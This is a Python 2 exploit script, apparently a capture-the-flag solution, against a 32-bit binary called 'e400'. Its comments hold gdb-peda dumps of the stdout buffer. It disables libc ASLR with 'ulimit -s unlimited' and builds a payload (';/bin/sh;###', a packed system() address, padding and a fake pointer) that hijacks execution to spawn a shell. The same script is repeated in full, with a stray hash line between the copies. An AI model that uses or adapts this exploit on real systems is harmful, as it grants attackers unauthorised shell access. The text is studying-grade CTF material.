from struct import pack

'''
printf("FAIL: %s\n", argv[1]) is called! So our argv[1] is in the stdout buffer.
Also, "ulimit -s unlimited" trick in 32-bit disable libc ASLR, therefore we know stdout buffer and system addresses.


gdb-peda$ print &stdout
$2 = (<data variable, no debug info> *) 0x55818d80 <stdout>

gdb-peda$ x/4wx 0x55818d80
0x55818d80 <stdout>:    0x55818ac0      0x55818c20      0x00000000      0x00000000

gdb-peda$ x/30wx 0x55818ac0
0x55818ac0 <_IO_2_1_stdout_>:   0xfbad2a84      0x5557a000      0x5557a000      0x5557a000
0x55818ad0 <_IO_2_1_stdout_+16>:        0x5557a000      0x5557a000      0x5557a000      0x5557a000
0x55818ae0 <_IO_2_1_stdout_+32>:        0x5557a400      0x00000000      0x00000000      0x00000000
0x55818af0 <_IO_2_1_stdout_+48>:        0x00000000      0x55818c20      0x00000001      0x00000000
0x55818b00 <_IO_2_1_stdout_+64>:        0xffffffff      0x00000000      0x55819898      0xffffffff
0x55818b10 <_IO_2_1_stdout_+80>:        0xffffffff      0x00000000      0x55818b60      0x00000000
0x55818b20 <_IO_2_1_stdout_+96>:        0x00000000      0x00000000      0xffffffff      0x00000000
0x55818b30 <_IO_2_1_stdout_+112>:       0x00000000      0x00000000

gdb-peda$ x/40wx 0x5557a000
0x5557a000:     0x425557a0      0x0a424242      0x2f6e6962      0x233b6873
0x5557a010:     0xe1902323      0x4141556a      0x41414141      0x41414141
0x5557a020:     0x41414141      0x41414141      0xa00a4141      0x2f3b5557
0x5557a030:     0x2f6e6962      0x233b6873      0xe1902323      0x4141556a
0x5557a040:     0x41414141      0x41414141      0x41414141      0x41414141
0x5557a050:     0x000a4141      0x00000000      0x00000000      0x00000000
0x5557a060:     0x00000000      0x00000000      0x00000000      0x00000000
0x5557a070:     0x00000000      0x00000000      0x00000000      0x00000000
0x5557a080:     0x00000000      0x00000000      0x00000000      0x00000000
0x5557a090:     0x00000000      0x00000000      0x00000000      0x00000000

'''
system_ptr = 0x5557a012         # stdout buffer, It points to system_addr
system_addr = 0x556ae190        # system function addr

payload = ""
payload+= ";/bin/sh;###"
payload+= pack("<L", system_addr)
payload+= "A"*20
payload+= pack("<L", system_ptr - 8)
payload+= "BBBB"

print payload

'''
ulimit -s unlimited
cat | ./e400 "`python exploit.py`"
'''


d945185d7c566a2069960f83d424be9ca995c870
from struct import pack

'''
printf("FAIL: %s\n", argv[1]) is called! So our argv[1] is in the stdout buffer.
Also, "ulimit -s unlimited" trick in 32-bit disable libc ASLR, therefore we know stdout buffer and system addresses.


gdb-peda$ print &stdout
$2 = (<data variable, no debug info> *) 0x55818d80 <stdout>

gdb-peda$ x/4wx 0x55818d80
0x55818d80 <stdout>:    0x55818ac0      0x55818c20      0x00000000      0x00000000

gdb-peda$ x/30wx 0x55818ac0
0x55818ac0 <_IO_2_1_stdout_>:   0xfbad2a84      0x5557a000      0x5557a000      0x5557a000
0x55818ad0 <_IO_2_1_stdout_+16>:        0x5557a000      0x5557a000      0x5557a000      0x5557a000
0x55818ae0 <_IO_2_1_stdout_+32>:        0x5557a400      0x00000000      0x00000000      0x00000000
0x55818af0 <_IO_2_1_stdout_+48>:        0x00000000      0x55818c20      0x00000001      0x00000000
0x55818b00 <_IO_2_1_stdout_+64>:        0xffffffff      0x00000000      0x55819898      0xffffffff
0x55818b10 <_IO_2_1_stdout_+80>:        0xffffffff      0x00000000      0x55818b60      0x00000000
0x55818b20 <_IO_2_1_stdout_+96>:        0x00000000      0x00000000      0xffffffff      0x00000000
0x55818b30 <_IO_2_1_stdout_+112>:       0x00000000      0x00000000

gdb-peda$ x/40wx 0x5557a000
0x5557a000:     0x425557a0      0x0a424242      0x2f6e6962      0x233b6873
0x5557a010:     0xe1902323      0x4141556a      0x41414141      0x41414141
0x5557a020:     0x41414141      0x41414141      0xa00a4141      0x2f3b5557
0x5557a030:     0x2f6e6962      0x233b6873      0xe1902323      0x4141556a
0x5557a040:     0x41414141      0x41414141      0x41414141      0x41414141
0x5557a050:     0x000a4141      0x00000000      0x00000000      0x00000000
0x5557a060:     0x00000000      0x00000000      0x00000000      0x00000000
0x5557a070:     0x00000000      0x00000000      0x00000000      0x00000000
0x5557a080:     0x00000000      0x00000000      0x00000000      0x00000000
0x5557a090:     0x00000000      0x00000000      0x00000000      0x00000000

'''
system_ptr = 0x5557a012         # stdout buffer, It points to system_addr
system_addr = 0x556ae190        # system function addr

payload = ""
payload+= ";/bin/sh;###"
payload+= pack("<L", system_addr)
payload+= "A"*20
payload+= pack("<L", system_ptr - 8)
payload+= "BBBB"

print payload

'''
ulimit -s unlimited
cat | ./e400 "`python exploit.py`"
'''

